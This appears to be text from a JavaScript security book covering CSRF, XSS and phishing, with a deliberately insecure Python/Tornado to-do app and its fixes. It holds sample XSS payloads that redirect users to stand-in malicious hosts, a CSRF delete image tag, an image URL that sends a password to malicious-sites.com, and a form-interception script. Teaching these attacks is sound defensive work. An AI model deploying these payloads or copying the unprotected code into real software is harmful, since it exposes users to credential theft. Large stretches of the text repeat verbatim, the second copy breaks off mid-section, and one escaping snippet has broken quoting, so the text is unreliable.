You can download the example code files for all Packt books you have purchased from your account at http://www.packtpub.com. If you purchased this book elsewhere, you can visit http://www.packtpub.com/support and register to have the files e-mailed directly to you.

Although we have taken every care to ensure the accuracy of our content, mistakes do happen. If you find a mistake in one of our books—maybe a mistake in the text or the code—we would be grateful if you could report this to us. By doing so, you can save other readers from frustration and help us improve subsequent versions of this book. If you find any errata, please report them by visiting http://www.packtpub.com/submit-errata, selecting your book, clicking on the Errata Submission Form link, and entering the details of your errata. Once your errata are verified, your submission will be accepted and the errata will be uploaded to our website or added to any list of existing errata under the Errata section of that title.

To view the previously submitted errata, go to https://www.packtpub.com/books/content/support and enter the name of the book in the search field. The required information will appear under the Errata section.

Piracy of copyright material on the Internet is an ongoing problem across all media. At Packt, we take the protection of our copyright and licenses very seriously. If you come across any illegal copies of our works, in any form, on the Internet, please provide us with the location address or website name immediately so that we can pursue a remedy.

Please contact us at <copyright@packtpub.com> with a link to the suspected pirated material.

We appreciate your help in protecting our authors, and our ability to bring you valuable content.

You can contact us at <questions@packtpub.com> if you are having a problem with any aspect of the book, and we will do our best to address it.

JavaScript is increasingly used on the server side as well—most notably Node.js and increasingly Meteor.js.

JavaScript is also used as a full-stack programming language, from the server side, client side, and so on. In fact, there are now full-stack frameworks, such as MEAN, where JavaScript is based on MongoDB, Express.js, AngularJS, and Node.js.

I decided to start off with this topic as it is generally easier to explain and understand. To put it simply, cross-site request forgery refers to a type of malicious exploitation of a website where unauthorized commands are transmitted from an unknowing user that the website trusts.

The following straightforward example involves Ajax requests: go back to earlier sections where we talked about POST requests. Imagine that your server endpoint does not defend itself against an Ajax request made outside of your domain name, and somehow, malicious POST requests are made. That particular request can somehow be made to alter your database information and more.

You may argue that we can make use of CSRF tokens (a common technique to prevent cross-domain requests and a way to provide greater security to the site) as a security measure, but it is not entirely safe. For instance, the script that is performing the attack could be residing in the website itself; the site could have been hijacked with malicious script in the first place.

In addition, if some of the following conditions are met, CSRF can be achieved:

Cross-site scripting (XSS) enables attackers to inject a client-side script (usually JavaScript) into web pages that are used by users. The general idea is that attackers use the known vulnerabilities of web-based applications, servers, plugin systems (such as WordPress), or even third-party JavaScript plugins to serve malicious scripts or content from the compromised site. The end result is that the compromised site ends up sending content that contains the malicious content/script.

If the content happens to be a piece of malicious JavaScript, then the results can be disastrous: since we know that JavaScript has global access to the web page, such as the DOM, and given the fact that that piece of JavaScript can have access to the cookies issued by the site (thus allowing the attacker to gain access to potentially useful information), that piece of JavaScript can do the following:

If you are new to all this, all you need to remember at this point in time is that such security flaws come from both server-side and client-side weaknesses. We'll be touching upon them in the next chapter.

The app here is similar to what we built in Chapter 2, Secure Ajax RESTful APIs; we are going to build a simple RESTful to-do app, but now the difference is that the backend is based on Python/Tornado.

Your code will look like the following by the end of this section:

Code organization by the end of this chapter

Therefore, you might want to start by creating the required folders and files before moving to the next subsection. The folders that you need to create include python_server, and within python_server, you need to create static/ and templates/. Within static/, you need to create css/.

Assuming you have created the required files and folders, we will start with server.py.

Coding up server.py

In this section, we will write some code that duplicates what our Express.js/Node.js backend did in the previous chapter. In this chapter, we are going to use Python (https://www.python.org/) and the Tornado web framework (http://www.tornadoweb.org/en/stable/). You will need to make sure that you have Python and the Tornado web framework installed.

To install Python (we are using Version 2.7.5 for the code examples, by the way), you can visit https://www.python.org/ and check out the installation instructions. Once that is done, you will need to install the common Python development tools, such as Python setuptools (https://pypi.python.org/pypi/setuptools).

Next, you will need to install the Tornado web framework, PyMongo, and Tornado CORS. Issue the following commands:

sudo pip install tornado==3.1
sudo pip install pymongo
sudo pip install tornado-cors

Now, we can start to code. As a reminder, the code in this chapter is found in this chapter's code sample folder under the python_server folder.

We will first kick off proceedings by importing and defining the important stuff, as follows:

import tornado.httpserver
import tornado.ioloop
import tornado.options
import tornado.web
import pymongo
from bson.objectid import ObjectId
from tornado_cors import CorsMixin
from tornado.options import define, options
import json
import os
define("port", default=8080, help="run on the given port", type=int)

Note

You will need to install Python for this section. While Python is now at Version 3.4.x, I'll use Python 2.7.x for this section. You can download Python from https://www.python.org/download. You will also need to install PyMongo (http://api.mongodb.org/python/current/) and tornado_cors (https://github.com/globocom/tornado-cors).

In the preceding code, we imported the libraries we will need and defined 8080 for the port at which this server will run.

Next, we need to define the URLs and other common settings. This is done via the Application class, which is discussed as follows:

class Application(tornado.web.Application):
    def __init__(self):
        handlers = [
            (r"/api/todos", Todos),
            (r"/todo", TodoApp)

        ]
        conn = pymongo.Connection("localhost")
        self.db = conn["todos"]
        settings = dict(
            xsrf_cookies=False,
            debug=True,
            template_path=os.path.join(os.path.dirname(__file__), "templates"),
            static_path=os.path.join(os.path.dirname(__file__), "static")
        )
        tornado.web.Application.__init__(self, handlers, **settings)

What we did here is we defined two URLs, /api/todos and /todo, which do exactly the same thing as per what we did in Chapter 2, Secure Ajax RESTful APIs. Next, we need to code the required classes that provide the meat of the functionalities.

We will code the TodoApp class and the Todos class as follows:

class TodoApp(tornado.web.RequestHandler):
    def get(self):
        self.render("todos.html")

class Todos(tornado.web.RequestHandler):
    def get(self):

        
        Todos = self.application.db.todos
        todo_id = self.get_argument("id", None)

        if todo_id:
            todo = Todos.find_one({"_id": ObjectId(todo_id)})
            todo["_id"] = str(todo['_id'])
            self.write(todo)
        else:
            todos = Todos.find()
            result = []
            data = {}
            for todo in todos:
                todo["_id"] = str(todo['_id'])
                result.append(todo)
            data['todos'] = result
            self.write(data)
            

    def post(self): 


        Todos = self.application.db.todos
        todo_id = self.get_argument("id", None)

        if todo_id:
            # perform a delete for example purposes
            todo = {}
            print "deleting"
            Todos.remove({"_id": ObjectId(todo_id)})
            # cos _id is not JSON serializable.
            todo["_id"] = todo_id
            self.write(todo)
        else:
            todo = {
                'text': self.get_argument('text'),
                'details': self.get_argument('details')
            }
            a = Todos.insert(todo)            
            todo['_id'] = str(a)
            self.write(todo)

Todoapp simply renders the todos.html file, which contains the frontend of the to-do list app. Next, the Todos class contains two HTTP methods: GET and POST. The GET method simply allows our app to retrieve one to-do item or the entire list of to-do items, while POST allows the app to either add a new to-do item or delete a to-do item.

Finally, we will initialize the app with the following piece of code:

def main():
    tornado.options.parse_command_line()
    http_server = tornado.httpserver.HTTPServer(Application())
    http_server.listen(options.port)
    tornado.ioloop.IOLoop.instance().start()

if __name__ == "__main__":
    main()

Now, we need to code the todos.html file; the good news is that we already coded this in the previous chapter. You can copy-and-paste the code or refer to the source code for this chapter. Similarly, the custom.css and external.html files are the same as Chapter 2, Secure Ajax RESTful APIs.

You can now start the app by issuing the following command on your terminal:

python server.py

Once the app has started, navigate to your browser on http://localhost:8080/todo, and you should see the following:

Our to-do app in Python/Tornado

The app looks approximately the same as what we had in Chapter 2, Secure Ajax RESTful APIs. Now you can try out the app by clicking on the Add To Do button and type in some details, as shown in the following screenshot:

Adding in a new to-do item

When you click on the Submit button, you will see something similar to the following screenshot:

A to-do item successfully added

You should see the new to-do item showing on the screen after clicking on Submit. Now that we have confirmed that the app is working, let's attempt to perform cross-site scripting.

Now, let's try to perform a basic cross-site scripting example:

Now we can try to trick end users into clicking through a malicious link. Take an instance where we enter the following line on http://localhost:8080/todo:

<a href=# onclick="document.location='http://a-malicious-link.com/xss.php'">Malicious Link 1</a>

You can also enter <a href=# onclick="document.location='http://a-malicious-link-2.com/xss.php'">Malicious Link 2</a> for the details:

Adding malicious code in the app itself

Now click on Submit, and you should see the new item as follows:

Malicious code added successfully

Now, imagine that these links are malicious and are public to other users. Now, you can try to click on the link; you will find that you are being directed to the malicious link. This is because the to-do item that we entered contains malicious JavaScript that redirects a user to a website. You can perform Inspect Element, as follows:

You can perform this action by right-clicking on your browser window

The resulting HTML page that our input produces is as follows:

The code generates a malicious link

You will notice that onclick will lead to a new URL other than our app; imagine this link is really malicious and leads to phishing sites, and so on.

At this point in time, you should notice that our app contains various security issues that allow for persistent cross-site scripting attacks. So, how do we prevent this from happening? We'll cover this and more after we talk briefly about our nonpersistent cross-site scripting example.

We will cover a basic nonpersistent scripting example in this section. Earlier on in this book, we discussed that nonpersistent cross-site scripting occurs where an unsuspecting user clicks on maliciously crafted URLs.

To briefly understand what this means, open your favorite browser and try to type the following into the URL address bar: javascript:alert("hi you!").

In my case, I'm using the Google Chrome browser, and I typed in the aforementioned code in the following screenshot:

Executing JavaScript in the URL address bar

Now hit Enter, and you should get something like the following screenshot :

JavaScript executed successfully

That's right; the browser URL address bar is capable of executing JavaScript functions.

So now, we can imagine that the original URLs in our apps may be appended with malicious JavaScript functions; consider the following code for instance:

<a href="http://localhost:8080/todo?javascript:window.onload=function(){var link=document.getElementsByTagName('a');link[0].href='http://malicious-website.com/';}">This is an alert</a>

This code snippet assumes that our to-do app is hosted on http://localhost:8080/todo. Most importantly, notice that we are changing the URL of the links found on the to-do app, pointing to malicious-website.com.

If an unsuspecting user were to visit our to-do list app via the preceding link, the user will notice that he or she is redirected to malicious-website.com instead of just deleting the to-do items or visiting other parts of the website.

We can parse the user's input using various techniques. Since we are talking about JavaScript in this book, we can apply the following JavaScript function to prevent the execution of malicious code:

    function htmlEntities(str) {
        return String(str).replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;');
    }

This function effectively strips the malicious code from the user's input and output as normal strings. To see this function in action, simply refer to the source code for this chapter. You can find this function in use at python_server/templates/todos_secure.html. For ease of reference, the code snippet is being applied here as follows:

    function htmlEntities(str) {
        return String(str).replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;');
    }

    function todoTemplate(title, body, id) {
      var title = htmlEntities(title);
      var body = htmlEntities(body);
      var snippet = "<div id=\"todo_"+id+"\"" + "<"<h2>"+title+"</h2>"+"<p>"+body+"</p>";
      var delete_button = "<a class='delete_item'  href='#' id="+id+">+">delete</a></div><hr>";
      snippet += delete_button;

      return snippet;
    }

Notice that the to-do item is first being escaped and returned as an HTML template for our app to insert into the browser screen.

Another approach is to make use of auto-escape or similar utilities to escape the input first. For instance, instead of using Ajax to get the output, you can simply generate the output from the server side. In Tornado's case, you can make use of the autoescape function. You can learn more about it at http://tornado.readthedocs.org/en/latest/template.html.

There are other ways and forms of protection as well:

This is a classic example. Consider the following instance:

<img src=http://yousite.com/delete?id=2 />

Should you load a site that contains this img tag, chances are that a piece of data may get deleted unknowingly.

Now that we have covered the basics of preventing CSRF attacks through the use of CSRF tokens, the next question you may have is: what if there are times when you need to expose an API to an external app? For example, Facebook's Graph API, Twitter's API, and so on, allow external apps not only to read, but also write data to their system.

How do we prevent malicious attacks in this situation? We'll cover this and more in the next section.

Creating your own app ID and app secret is similar to what the major Internet companies are doing right now: we require developers to sign up for developing accounts and to attach an application ID and secret key for each of the apps.

Using this information, the developers will need to exchange OAuth credentials in order to make any API calls, as shown in the following screenshot:

Google requires developers to sign up, and it assigns the client ID

On the server end, all you need to do is look for the application ID and secret key; if it is not present, simply reject the request. Have a look at the following screenshot:

The same thing with Facebook; Facebook requires you to sign up, and it assigns app ID and app secret

Simply put, you want to check where the request is coming from. This is a technique where you can check the Origin header.

The Origin header, in layman's terms, refers to where the request is coming from. There are at least two use cases for the usage of the Origin header, which are as follows:

Assuming that you are generating your own tokens, you may also want to limit the lifetime of the token, for instance, making the token valid for only a certain time period if the user is logged in to your site. Similarly, your site can make this a requirement in order for the requests to be made; if the token does not exist, HTTP requests cannot be made.

There are numerous examples surrounding eBay; some of the most common examples involve the use of sending a fake e-mail and a fake website that looks like eBay, enticing you with certain reasons to make you log in to the fake site so that you willingly submit your login information.

Most importantly, creating a phishing site just requires you to understand the basics of copy-paste and how to fail-safe a web page. Here is an example:

The real and authentic eBay website

The next example shows a fake eBay page:

Fake eBay website that looks just the same

Now can you tell which website is the real eBay site? Aesthetically speaking, both look exactly the same. But sharp-eyed readers will notice something different about the URL (web) address bar: one says http://www.ebay.co.uk/rpp/WOW, while the other reads as a file URL on your desktop.

That's right. The second one is a fake website; I've simply copied and saved the web page. So, imagine that I am an unscrupulous dude and want your eBay information. I could very well spam millions of people with fake eBay-related e-mails and get them to log in to my fake eBay site; I would just have gotten your eBay login credentials.

Another classic example typically involves PayPal. PayPal also has a website dedicated to this topic at https://www.paypal.com/us/webapps/mpp/security/what-is-phishing, as shown in the following screenshot:

PayPal's guide to phishing

Alright, now that we have covered the classic examples, let's move on to other examples.

How does accessing the user's history be related to phishing? Well, besides the fact that it is a complete invasion of privacy, knowing a user's history gives the hijacker a better chance of creating a successful phishing scheme. For instance, if the hijacker knows which websites you frequently visit, or worse, which banking services you use, these bits and pieces of information will enhance their chances of creating a successful phishing attempt.

So, how do we access a user's history by accessing local state? For a start, you'll need to know a bit of CSS, which is as follows:

a:link
a:visited
a:hover
a:active

A link is represented by the a tag, where :link represents an unvisited link, :visited represents a visited link, :hover represents the state of the link when a mouse pointer goes over the link, and lastly, :active represents a link that is working.

We can basically make use of JavaScript to sniff for the link's state. For example, we might have a web page of some of the most commonly visited links. Assume that we get a user to visit this web page of ours. If one or more links on our web page has a state of :visited, then we know that this user has previously visited this page.

We can simply get the state of the link by doing this (using jQuery):

$("a:visited").length // simply returns the number of links that has been visited.

While this may work for older browsers, newer browser versions have stopped supporting this feature for security purposes. So, if for some reason, you (or people you know) have not upgraded their browsers to newer ones, it is time to get them upgraded.

XSS and CSRF can also "contribute" to phishing. Remember that a piece of JavaScript on a web page has access to all the elements on a web page. This means that the JavaScript, once injected into the web page, can do many things, including malicious activities.

For instance, consider a login URL. A piece of malicious JavaScript could change the login URL of the button to a malicious web page (a common strategy seen as part of the classic examples).

Consider a normal login URL, as follows:

<a id="login" href="/safe_login">Login Here</a>

This can be changed using the following code :

$("#login").attr("href","http://malicious-website.com/login")")

Another classic example is the use of img tags, where the correct image is shown, but the URL contains the image that comes from a malicious link, and this link attempts to send your personal information to the malicious server:

<img src="http//malicious-sites.com/your-logo.jpg?sensitive_data=yourpassword"/>

XSS and CSRF can also be used to intercept events, such as form-submit requests, and manipulate the request by sending the information to some other malicious servers.

Take a look at the code example for intercept.html in this chapter:

<!DOCTYPE html>
<html lang="en">
  <head>

    <title>Intercept</title>
<link href="//maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css" rel="stylesheet">
  </head>
  <body>

    <div class="container">
      <div class="header">
        <ul class="nav nav-pills pull-right">
          <li class="active"><a href="#">Home</a></li>
          <li><a href="#">About</a></li>
          <li><a href="#">Contact</a></li>
        </ul>
        <h3 class="text-muted">Project name</h3>
      </div>

      <div class="jumbotron">
        <form role="form">
          <div class="form-group">
            <label for="exampleInputEmail1">Input 1</label>
            <input id="input1" type="text" class="form-control" id="exampleInputEmail1" placeholder="Input 1">
          </div>
          <div class="form-group">
            <label for="exampleInputPassword1">Input 2</label>
            <input id="input2" type="text" class="form-control" id="exampleInputPassword1" placeholder="Input 2">
          </div>
          <button type="submit" class="btn btn-default">Submit</button>
        </form>
      </div>
    </div> <!-- /container -->
    <!-- Bootstrap core JavaScript
    ================================================== -->
    <!-- Placed at the end of the document so the pages load faster -->
    <script src="//ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
    <script>
    $(document).on('submit', 'form', function(event) {
    	console.log("submit");
      console.log( $('#input1').val() );
      console.log( $('#input2').val() );
      // perform a get or post request to a malicious server. 
      console.log("i might just send your form data to somewhere else")
    })
    </script>
  </body>
</html>

I want you to note the JavaScript snippet where the script is listening to a global submit event. Assuming the hijacker knows what the form fields are, the ID that your form is using, and assuming they have successfully injected this piece of script into your website, you may be in deep trouble.

To see why, open intercept.html in your browser. You should see the following output:

A simple form with a script listening for a global submit event

Now, try to input some values, as I did in the preceding screenshot. Now open your console and check the output as you click on Submit. The output will look similar to the following screenshot:

The form data can be sent anywhere should this script be malicious

Since the script is listening for a global form submit event, it can technically listen and pass the values to URLs other than your site.

Newer versions of web browsers typically contain upgrades or security fixes. To upgrade to newer versions of the particular web browsers you are using, you can simply visit the main website of the browser vendor. For instance, if you are using Google Chrome, you can visit https://www.google.com/chrome/browser/, while you can visit https://www.mozilla.org/en-US/firefox/new/ for Mozilla Firefox.

Some of the more notable ones include the removal of support to access a browser's history either via window.history or by accessing the user's local state: $("a:visited").

From the aforementioned types of phishing, you might have noticed that one common strategy used by phishing sites is the use of fake websites. Should you recognize a fake website, you can avoid the chances of being phished.

Here are tips to help you recognize real websites:

By protecting your sites against XSS and CSRF, you greatly reduce the risk of JavaScript security issues such as those covered in previous chapters.

You can design your website so that it avoids the use of pop ups and keeps your address bars. By not using pop ups, you reduce a possible imitation technique that can be used to perform phishing. An alternative to using pop ups would be to use certain techniques, such as the modal dialog boxes used in Bootstrap (http://getbootstrap.com/javascript/#modals).

Second, keeping address bars allows you and your users to check the URL for any discrepancies. Similarly, there is one fewer area that hijackers can exploit to phish you or your users.

You can download the example code files for all Packt books you have purchased from your account at http://www.packtpub.com. If you purchased this book elsewhere, you can visit http://www.packtpub.com/support and register to have the files e-mailed directly to you.

Although we have taken every care to ensure the accuracy of our content, mistakes do happen. If you find a mistake in one of our books—maybe a mistake in the text or the code—we would be grateful if you could report this to us. By doing so, you can save other readers from frustration and help us improve subsequent versions of this book. If you find any errata, please report them by visiting http://www.packtpub.com/submit-errata, selecting your book, clicking on the Errata Submission Form link, and entering the details of your errata. Once your errata are verified, your submission will be accepted and the errata will be uploaded to our website or added to any list of existing errata under the Errata section of that title.

To view the previously submitted errata, go to https://www.packtpub.com/books/content/support and enter the name of the book in the search field. The required information will appear under the Errata section.

Piracy of copyright material on the Internet is an ongoing problem across all media. At Packt, we take the protection of our copyright and licenses very seriously. If you come across any illegal copies of our works, in any form, on the Internet, please provide us with the location address or website name immediately so that we can pursue a remedy.

Please contact us at <copyright@packtpub.com> with a link to the suspected pirated material.

We appreciate your help in protecting our authors, and our ability to bring you valuable content.

You can contact us at <questions@packtpub.com> if you are having a problem with any aspect of the book, and we will do our best to address it.

JavaScript is increasingly used on the server side as well—most notably Node.js and increasingly Meteor.js.

JavaScript is also used as a full-stack programming language, from the server side, client side, and so on. In fact, there are now full-stack frameworks, such as MEAN, where JavaScript is based on MongoDB, Express.js, AngularJS, and Node.js.

I decided to start off with this topic as it is generally easier to explain and understand. To put it simply, cross-site request forgery refers to a type of malicious exploitation of a website where unauthorized commands are transmitted from an unknowing user that the website trusts.

The following straightforward example involves Ajax requests: go back to earlier sections where we talked about POST requests. Imagine that your server endpoint does not defend itself against an Ajax request made outside of your domain name, and somehow, malicious POST requests are made. That particular request can somehow be made to alter your database information and more.

You may argue that we can make use of CSRF tokens (a common technique to prevent cross-domain requests and a way to provide greater security to the site) as a security measure, but it is not entirely safe. For instance, the script that is performing the attack could be residing in the website itself; the site could have been hijacked with malicious script in the first place.

In addition, if some of the following conditions are met, CSRF can be achieved:

Cross-site scripting (XSS) enables attackers to inject a client-side script (usually JavaScript) into web pages that are used by users. The general idea is that attackers use the known vulnerabilities of web-based applications, servers, plugin systems (such as WordPress), or even third-party JavaScript plugins to serve malicious scripts or content from the compromised site. The end result is that the compromised site ends up sending content that contains the malicious content/script.

If the content happens to be a piece of malicious JavaScript, then the results can be disastrous: since we know that JavaScript has global access to the web page, such as the DOM, and given the fact that that piece of JavaScript can have access to the cookies issued by the site (thus allowing the attacker to gain access to potentially useful information), that piece of JavaScript can do the following:

If you are new to all this, all you need to remember at this point in time is that such security flaws come from both server-side and client-side weaknesses. We'll be touching upon them in the next chapter.

The app here is similar to what we built in Chapter 2, Secure Ajax RESTful APIs; we are going to build a simple RESTful to-do app, but now the difference is that the backend is based on Python/Tornado.

Your code will look like the following by the end of this section:

Code organization by the end of this chapter

Therefore, you might want to start by creating the required folders and files before moving to the next subsection. The folders that you need to create include python_server, and within python_server, you need to create static/ and templates/. Within static/, you need to create css/.

Assuming you have created the required files and folders, we will start with server.py.

Coding up server.py

In this section, we will write some code that duplicates what our Express.js/Node.js backend did in the previous chapter. In this chapter, we are going to use Python (https://www.python.org/) and the Tornado web framework (http://www.tornadoweb.org/en/stable/). You will need to make sure that you have Python and the Tornado web framework installed.

To install Python (we are using Version 2.7.5 for the code examples, by the way), you can visit https://www.python.org/ and check out the installation instructions. Once that is done, you will need to install the common Python development tools, such as Python setuptools (https://pypi.python.org/pypi/setuptools).

Next, you will need to install the Tornado web framework, PyMongo, and Tornado CORS. Issue the following commands:

sudo pip install tornado==3.1
sudo pip install pymongo
sudo pip install tornado-cors

Now, we can start to code. As a reminder, the code in this chapter is found in this chapter's code sample folder under the python_server folder.

We will first kick off proceedings by importing and defining the important stuff, as follows:

import tornado.httpserver
import tornado.ioloop
import tornado.options
import tornado.web
import pymongo
from bson.objectid import ObjectId
from tornado_cors import CorsMixin
from tornado.options import define, options
import json
import os
define("port", default=8080, help="run on the given port", type=int)

Note

You will need to install Python for this section. While Python is now at Version 3.4.x, I'll use Python 2.7.x for this section. You can download Python from https://www.python.org/download. You will also need to install PyMongo (http://api.mongodb.org/python/current/) and tornado_cors (https://github.com/globocom/tornado-cors).

In the preceding code, we imported the libraries we will need and defined 8080 for the port at which this server will run.

Next, we need to define the URLs and other common settings. This is done via the Application class, which is discussed as follows:

class Application(tornado.web.Application):
    def __init__(self):
        handlers = [
            (r"/api/todos", Todos),
            (r"/todo", TodoApp)

        ]
        conn = pymongo.Connection("localhost")
        self.db = conn["todos"]
        settings = dict(
            xsrf_cookies=False,
            debug=True,
            template_path=os.path.join(os.path.dirname(__file__), "templates"),
            static_path=os.path.join(os.path.dirname(__file__), "static")
        )
        tornado.web.Application.__init__(self, handlers, **settings)

What we did here is we defined two URLs, /api/todos and /todo, which do exactly the same thing as per what we did in Chapter 2, Secure Ajax RESTful APIs. Next, we need to code the required classes that provide the meat of the functionalities.

We will code the TodoApp class and the Todos class as follows:

class TodoApp(tornado.web.RequestHandler):
    def get(self):
        self.render("todos.html")

class Todos(tornado.web.RequestHandler):
    def get(self):

        
        Todos = self.application.db.todos
        todo_id = self.get_argument("id", None)

        if todo_id:
            todo = Todos.find_one({"_id": ObjectId(todo_id)})
            todo["_id"] = str(todo['_id'])
            self.write(todo)
        else:
            todos = Todos.find()
            result = []
            data = {}
            for todo in todos:
                todo["_id"] = str(todo['_id'])
                result.append(todo)
            data['todos'] = result
            self.write(data)
            

    def post(self): 


        Todos = self.application.db.todos
        todo_id = self.get_argument("id", None)

        if todo_id:
            # perform a delete for example purposes
            todo = {}
            print "deleting"
            Todos.remove({"_id": ObjectId(todo_id)})
            # cos _id is not JSON serializable.
            todo["_id"] = todo_id
            self.write(todo)
        else:
            todo = {
                'text': self.get_argument('text'),
                'details': self.get_argument('details')
            }
            a = Todos.insert(todo)            
            todo['_id'] = str(a)
            self.write(todo)

Todoapp simply renders the todos.html file, which contains the frontend of the to-do list app. Next, the Todos class contains two HTTP methods: GET and POST. The GET method simply allows our app to retrieve one to-do item or the entire list of to-do items, while POST allows the app to either add a new to-do item or delete a to-do item.

Finally, we will initialize the app with the following piece of code:

def main():
    tornado.options.parse_command_line()
    http_server = tornado.httpserver.HTTPServer(Application())
    http_server.listen(options.port)
    tornado.ioloop.IOLoop.instance().start()

if __name__ == "__main__":
    main()

Now, we need to code the todos.html file; the good news is that we already coded this in the previous chapter. You can copy-and-paste the code or refer to the source code for this chapter. Similarly, the custom.css and external.html files are the same as Chapter 2, Secure Ajax RESTful APIs.

You can now start the app by issuing the following command on your terminal:

python server.py

Once the app has started, navigate to your browser on http://localhost:8080/todo, and you should see the following:

Our to-do app in Python/Tornado

The app looks approximately the same as what we had in Chapter 2, Secure Ajax RESTful APIs. Now you can try out the app by clicking on the Add To Do button and type in some details, as shown in the following screenshot:

Adding in a new to-do item

When you click on the Submit button, you will see something similar to the following screenshot:

A to-do item successfully added

You should see the new to-do item showing on the screen after clicking on Submit. Now that we have confirmed that the app is working, let's attempt to perform cross-site scripting.

Now, let's try to perform a basic cross-site scripting example:

Now we can try to trick end users into clicking through a malicious link. Take an instance where we enter the following line on http://localhost:8080/todo:

<a href=# onclick="document.location='http://a-malicious-link.com/xss.php'">Malicious Link 1</a>

You can also enter <a href=# onclick="document.location='http://a-malicious-link-2.com/xss.php'">Malicious Link 2</a> for the details:

Adding malicious code in the app itself

Now click on Submit, and you should see the new item as follows:

Malicious code added successfully

Now, imagine that these links are malicious and are public to other users. Now, you can try to click on the link; you will find that you are being directed to the malicious link. This is because the to-do item that we entered contains malicious JavaScript that redirects a user to a website. You can perform Inspect Element, as follows:

You can perform this action by right-clicking on your browser window

The resulting HTML page that our input produces is as follows:

The code generates a malicious link

You will notice that onclick will lead to a new URL other than our app; imagine this link is really malicious and leads to phishing sites, and so on.

At this point in time, you should notice that our app contains various security issues that allow for persistent cross-site scripting attacks. So, how do we prevent this from happening? We'll cover this and more after we talk briefly about our nonpersistent cross-site scripting example.

We will cover a basic nonpersistent scripting example in this section. Earlier on in this book, we discussed that nonpersistent cross-site scripting occurs where an unsuspecting user clicks on maliciously crafted URLs.

To briefly understand what this means, open your favorite browser and try to type the following into the URL address bar: javascript:alert("hi you!").

In my case, I'm using the Google Chrome browser, and I typed in the aforementioned code in the following screenshot:

Executing JavaScript in the URL address bar

Now hit Enter, and you should get something like the following screenshot :

JavaScript executed successfully

That's right; the browser URL address bar is capable of executing JavaScript functions.

So now, we can imagine that the original URLs in our apps may be appended with malicious JavaScript functions; consider the following code for instance:

<a href="http://localhost:8080/todo?javascript:window.onload=function(){var link=document.getElementsByTagName('a');link[0].href='http://malicious-website.com/';}">This is an alert</a>

This code snippet assumes that our to-do app is hosted on http://localhost:8080/todo. Most importantly, notice that we are changing the URL of the links found on the to-do app, pointing to malicious-website.com.

If an unsuspecting user were to visit our to-do list app via the preceding link, the user will notice that he or she is redirected to malicious-website.com instead of just deleting the to-do items or visiting other parts of the website.

We can parse the user's input using various techniques. Since we are talking about JavaScript in this book, we can apply the following JavaScript function to prevent the execution of malicious code:

    function htmlEntities(str) {
        return String(str).replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;');
    }

This function effectively strips the malicious code from the user's input and output as normal strings. To see this function in action, simply refer to the source code for this chapter. You can find this function in use at python_server/templates/todos_secure.html. For ease of reference, the code snippet is being applied here as follows:

    function htmlEntities(str) {
        return String(str).replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;');
    }

    function todoTemplate(title, body, id) {
      var title = htmlEntities(title);
      var body = htmlEntities(body);
      var snippet = "<div id=\"todo_"+id+"\"" + "<"<h2>"+title+"</h2>"+"<p>"+body+"</p>";
      var delete_button = "<a class='delete_item'  href='#' id="+id+">+">delete</a></div><hr>";
      snippet += delete_button;

      return snippet;
    }

Notice that the to-do item is first being escaped and returned as an HTML template for our app to insert into the browser screen.

Another approach is to make use of auto-escape or similar utilities to escape the input first. For instance, instead of using Ajax to get the output, you can simply generate the output from the server side. In Tornado's case, you can make use of the autoescape function. You can learn more about it at http://tornado.readthedocs.org/en/latest/template.html.

There are other ways and forms of protection as well:

This is a classic example. Consider the following instance:

<img src=http://yousite.com/delete?id=2 />

Should you load a site that contains this img tag, chances are that a piece of data may get deleted unknowingly.

Now that we have covered the basics of preventing CSRF attacks through the use of CSRF tokens, the next question you may have is: what if there are times when you need to expose an API to an external app? For example, Facebook's Graph API, Twitter's API, and so on, allow external apps not only to read, but also write data to their system.

How do we prevent malicious attacks in this situation? We'll cover this and more in the next section.

Creating your own app ID and app secret is similar to what the major Internet companies are doing right now: we require developers to sign up for developing accounts and to attach an application ID and secret key for each of the apps.

Using this information, the developers will need to exchange OAuth credentials in order to make any API calls, as shown in the following screenshot:

Google requires developers to sign up, and it assigns the client ID

On the server end, all you need to do is look for the application ID and secret key; if it is not present, simply reject the request. Have a look at the following screenshot:

The same thing with Facebook; Facebook requires you to sign up, and it assigns app ID and app secret

Simply put, you want to check where the request is coming from. This is a technique where you can check the Origin header.

The Origin header, in layman's terms, refers to where the request is coming from. There are at least two use cases for the usage of the Origin header, which are as follows:

Assuming that you are generating your own tokens, you may also want to limit the lifetime of the token, for instance, making the token valid for only a certain time period if the user is logged in to your site. Similarly, your site can make this a requirement in order for the requests to be made; if the token does not exist, HTTP requests cannot be made.

There are numerous examples surrounding eBay; some of the most common examples involve the use of sending a fake e-mail and a fake website that looks like eBay, enticing you with certain reasons to make you log in to the fake site so that you willingly submit your login information.

Most importantly, creating a phishing site just requires you to understand the basics of copy-paste and how to fail-safe a web page. Here is an example:

The real and authentic eBay website

The next example shows a fake eBay page:

Fake eBay website that looks just the same

Now can you tell which website is the real eBay site? Aesthetically speaking, both look exactly the same. But sharp-eyed readers will notice something different about the URL (web) address bar: one says http://www.ebay.co.uk/rpp/WOW, while the other reads as a file URL on your desktop.

That's right. The second one is a fake website; I've simply copied and saved the web page. So, imagine that I am an unscrupulous dude and want your eBay information. I could very well spam millions of people with fake eBay-related e-mails and get them to log in to my fake eBay site; I would just have gotten your eBay login credentials.

Another classic example typically involves PayPal. PayPal also has a website dedicated to this topic at https://www.paypal.com/us/webapps/mpp/security/what-is-phishing, as shown in the following screenshot:

PayPal's guide to phishing

Alright, now that we have covered the classic examples, let's move on to other examples.

How does accessing the user's history be related to phishing? Well, besides the fact that it is a complete invasion of privacy, knowing a user's history gives the hijacker a better chance of creating a successful phishing scheme. For instance, if the hijacker knows which websites you frequently visit, or worse, which banking services you use, these bits and pieces of information will enhance their chances of creating a successful phishing attempt.

So, how do we access a user's history by accessing local state? For a start, you'll need to know a bit of CSS, which is as follows:

a:link
a:visited
a:hover
a:active

A link is represented by the a tag, where :link represents an unvisited link, :visited represents a visited link, :hover represents the state of the link when a mouse pointer goes over the link, and lastly, :active represents a link that is working.

